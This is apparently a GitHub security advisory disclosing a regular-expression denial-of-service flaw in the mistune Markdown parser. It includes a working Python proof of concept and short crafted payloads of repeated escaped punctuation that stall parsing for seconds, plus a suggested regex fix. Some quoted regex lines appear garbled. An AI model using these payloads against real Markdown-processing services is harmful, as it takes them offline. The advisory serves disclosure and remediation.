

lepture / mistune Public[Code](#) [Issues](#) 38 [Pull requests](#) 2 [Discussions](#) [Actions](#) [Projects](#)

ReDoS in LINK_TITLE_RE allows denial of service via crafted Markdown input

High lepture published GHSA-8mp2-v27r-99xp 13 hours ago

Package

 **mistune** (pip)

Affected versions

`>=3.0.0a1, <= 3.2.0`

Patched versions

None

Description

Summary

A ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.

Details

The vulnerable regex is defined in [src/mistune/helpers.py#L20-L25](#):

```
LINK_TITLE_RE = re.compile(  
    r"[ \t\n]+(  
    r'"(?:\\ + PUNCTUATION + r'| [^\x00])*"' # "title"  
    r'"(?:\\ + PUNCTUATION + r'| [^\x00])*"' # 'title'  
    r")"
```

The double-quote branch compiles to `"(?:\\ + PUNCTUATION + r'| [^\x00])*"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\!`, or as two individual `[^\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.

When the input contains repeated `\!` pairs with no closing `"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential $O(2^N)$ time complexity**.

This is reachable through normal Markdown parsing via two code paths:

1. **Inline links:** `[text](url "PAYLOAD)` → `parse_link()` → `parse_link_title()`
2. **Block link reference definitions:** `[label]: url "PAYLOAD` → `BlockParser.parse_ref_link()` → `parse_link_title()` at [block_parser.py#L259](#)

PoC

```
import mistune
import time

md = mistune.create_markdown()

# Test with increasing N (number of \! pairs)
for n in [15, 18, 20, 22, 25]:
    payload = '[x](y "' + '\\!' * n + ' )'
    start = time.time()
    md(payload)
    elapsed = time.time() - start
    print(f"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s")
```

Output (Apple M2, Python 3.14.3, mistune 3.2.0):

```
N=15 len= 38 bytes time=0.007s
N=18 len= 44 bytes time=0.044s
N=20 len= 48 bytes time=0.178s
N=22 len= 52 bytes time=0.740s
N=25 len= 58 bytes time=5.922s
```

Each increment of N roughly doubles the execution time (consistent with $O(2^N)$).

The same attack works via block link reference definitions:

```
payload = '[1]: u "' + '\\!' * 25 # 58 bytes, ~6 seconds
md(payload)
```

Impact

This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).

Affected use cases include:

- Web applications with Markdown-enabled input fields (comments, posts, descriptions)
- Documentation systems that accept user contributions
- API endpoints that process Markdown
- Jupyter tooling such as nbconvert that relies on mistune for rendering

Suggested Fix

Exclude the backslash character from the catch-all character class to eliminate the alternation overlap:

```
# Before (vulnerable):
r'(?:\\' + PUNCTUATION + r'|[\^"\x00])*'
r'(?:\\" + PUNCTUATION + r'|[\^"\x00])*'

# After (fixed):
r'(?:\\\' + PUNCTUATION + r'|[\^"\\\x00])*'
r'(?:\\\" + PUNCTUATION + r'|[\^"\\\x00])*'
```



This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):

- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)
- Handles N=50 in 0.000008 seconds
- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)

Severity

High 7.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-33079

Weaknesses

▶ CWE-1333

Credits



kq5y

Reporter